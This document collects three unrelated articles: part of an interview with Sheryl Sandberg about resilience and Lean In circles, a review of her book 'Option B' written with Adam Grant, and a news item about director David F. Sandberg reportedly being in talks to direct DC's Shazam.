Sandberg: I think it really was about getting on a rocket ship, being willing to take risks and do something that I hadn’t done before like work in technology, and finding the ways to start believing in myself. One thing that’s worth thinking about if you’re in your 20s and you’re a woman particularly, but we have men too, are “Lean In” circles. There are 33,000 all over the world. We grow by almost 100 a week. We hear over and over again how much they work because they give women an explicit place to be ambitious and to support each other. None of us get through anything alone.

I’m a big believer that we have to commit to things and make them a regular habit in order to make them work. An explicit place, particularly for women, to dream big is really important.

Resilience is like a muscle that you can strengthen with practice

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Shontell:

You talk a lot about resilience, and resilience being a muscle that you can build up. What are the best tips or advice that you have, as someone who’s had to build this muscle over the past two years? How do you do that?

Sandberg: Two things that I think matter are gratitude and joy.

Gratitude — it’s ironic but going through the worst thing of my life, this huge tragedy, made me more grateful. It never occurred to me Dave wouldn’t hit age 48, or wouldn’t live to be 50, as he would have turned this year. I will never make another joke about growing old again, ever. No one else should either. Because we either grow old or we don’t.

Every day, every week, every month, every year is a gift. That doesn’t mean we can remember it all the time, but when things are hard, remembering how lucky we are to be just alive brings a lot of meaning into our lives.

Joy. Adam [Grant] suggested that I write down three moments of joy every day. At first, they were really small. “I had coffee; it tasted good. My son gave me a hug without being asked.” Maybe hinted but not asked, right?

By paying attention to those moments of joy, I write them down before I go to bed, they became much more meaningful to me, and I notice them throughout the day. I realize that before Dave died, I went to bed every night worried about what was wrong and what I was going to mess up on the next day. I don’t think I was living to its fullest. I don’t think I was grateful for that day or looking for the joy.

Now, I’m trying. I can’t say I do it every day, but I am trying to be grateful for each day and look for joy.

Shontell: Thank you so much, Sheryl, for sharing all this with us. The world is rooting for you.

Sandberg: Thank you.

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Nearly two years ago, Sheryl Sandberg’s life changed significantly when her partner of 11 years and SurveyMonkey chief executive Dave Goldberg died suddenly during a vacation in Mexico. As she grieved, Facebook’s chief operating officer began adapting to a life she and many others never wish for. In a bid to regain some normalcy in not only her life, but also those of her children, Sandberg focused on option B, a new way of living that overcomes grief, adversity, and once again instills joy into her life.

This is the basis for Sandberg’s new book, aptly titled “Option B” which she wrote alongside psychologist and University of Pennsylvania professor Adam Grant. Although written by two people, this 183-page publication reads more like coming from the vantage point of Sandberg, a cathartic moment recounting her experience with the reader. Along the way, she infuses anecdotes from personal friends and others she encountered, along with research insights from Grant. For the sake of simplicity, the book is written as if Sandberg herself is narrating.

‘Kick the shit out of Option B’

Above: “Option B” by Sheryl Sandberg and Adam Grant.

From the onset of reading “Option B”, you’re transported into Sandberg’s world from the time she meets Goldberg, the wedding, his untimely death, and the aftermath. She talks about the proverbial elephant in the room when people ask “How are you doing?” and how to deal with people who haven’t experienced such a loss before. The book is engaging read where you’re witnessing Sandberg pour her heart out, upset about not having Goldberg with her and how she’s trying to compensate with her loss.

Reading it like you’re there can be somewhat overwhelming so “Option B” could also be a way to prove how you’d fare recovering from such an event. And it doesn’t have to be someone’s death, but perhaps dealing with sexual assault, trauma or post-traumatic stress disorder, or anything involving grief.

We all know Option A: It’s our main course of action that we hope will be executed flawlessly. But life can be unpredictable and if something should happen, we must be prepared to fall back on a contingency plan — this is Sandberg’s Option B.

The book also includes a good amount of research to provide a better overall picture. For example, Sandberg cites findings from psychologist Martin Seligman around the “three Ps” that can stunt recovery: Personalization, pervasiveness, and permanence. This concept is one of the main things that Sandberg repeatedly cites throughout the book.

In the beginning, you’re saddened by Goldberg’s passing, but as you progress chapter by chapter, you begin to heal alongside Sandberg until the very last one where it’s almost as if peace has finally been found.

For one, but not for all

“Option B” doesn’t read like a typical self-help book that you’d find in a bookstore. Sandberg and Grant acknowledge that it’s an attempt “to share what we’ve learned about resilience” and that their work isn’t a magic pill to lessen the pain, grief, and anguish someone is feeling. “We don’t presume to have experienced every possible kind of loss and setback ourselves. We haven’t,” the authors explained. “There is no right way or proper way to grieve or face challenges, so we don’t have perfect answers. There are no perfect answers.”

Before people can criticize her and claim that she’s telling them how to mourn a loved one, overcome tragedy or bad news, Sandberg comes out saying that this is her trials overcoming grief. She admits she’s in a uncommon position, given her circumstances, that she has an extended support group of family, friends, and colleagues. Factors like this can be of great help during the recovery process, but truth be told, not everyone has that. But Sandberg believes that at the end of the day, it’s about resilience:

“This book is about the capacity of the human spirit to persevere. We look at the steps people can take, both to help themselves and to help others,” she wrote. “We explore the psychology of recovery and the challenges of regaining confidence and rediscovering joy. We cover ways to speak about tragedy and comfort friends who are suffering. And we discuss what it takes to create resilient communities and companies, raise strong children, and love again.”

While we may all understand the tragedy that befell her family, there are some parts where Sandberg could seem unrelatable such as going to SpaceX headquarters to watch the a rocket launch and then its subsequent return on a drone ship. This doesn’t seem like necessarily something an average family or parent could really do without connections.

Fortunately, examples of this kind are few and far between in her book, and you’ll be more captivated by her humanity while forgiving elitist-like acts.

Helping others

Sandberg and Grant don’t stop at just a book — as a companion to “Option B”, they’ve established a community that’s also on Facebook where people can find others going through similar problems such as coping with grief, dealing with health challenges, helping kids build resilience, overcoming a family crisis, and more. The site even has stories about various topics. Like the book, this community is aimed at helping people “build resilience” so that anyone can bounce back after a tragedy.

Sandberg said that she will donate all of her income from book sales to fund the nonprofit project.

“Option B” is now available in stores and online.

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DC’s Shazam has been in development for several years now, but it hasn’t shown any serious forward momentum since it cast Dwayne Johnson as Black Adam back in 2014. With that 2019 release date slowly creeping up, though, Warner Bros. is finally ready to take its next big leap forward. The studio has reportedly tapped director David F. Sandberg (Lights Out) to direct.

TheWrap reports that Sandberg is currently in talks to be the new Shazam director. Sandberg is a Swedish director who made his feature directing debut last year with Lights Out, based on his own horror short. (It was a big enough hit that it’s already got a sequel in the works.) Since then, he’s also directed Annabelle 2, which will be out later this summer. Shazam is currently scheduled to open April 5, 2019, so Sandberg should have plenty of time to get things together — which is a relief, since some of Warner Bros.’ other DC projects have suffered from a rushed production schedule.

The role of Shazam has not been cast. For that matter, none of the roles besides Black Adam have been cast. But with Sandberg on board, we can probably expect this project to start picking some serious steam in the coming months.

For its part, the studio seems really high on Shazam — or at least on Johnson’s portrayal of Black Adam in Shazam. They’ve already gone ahead and announced a separate Black Adam standalone movie to follow Shazam. That one doesn’t have a release date yet.

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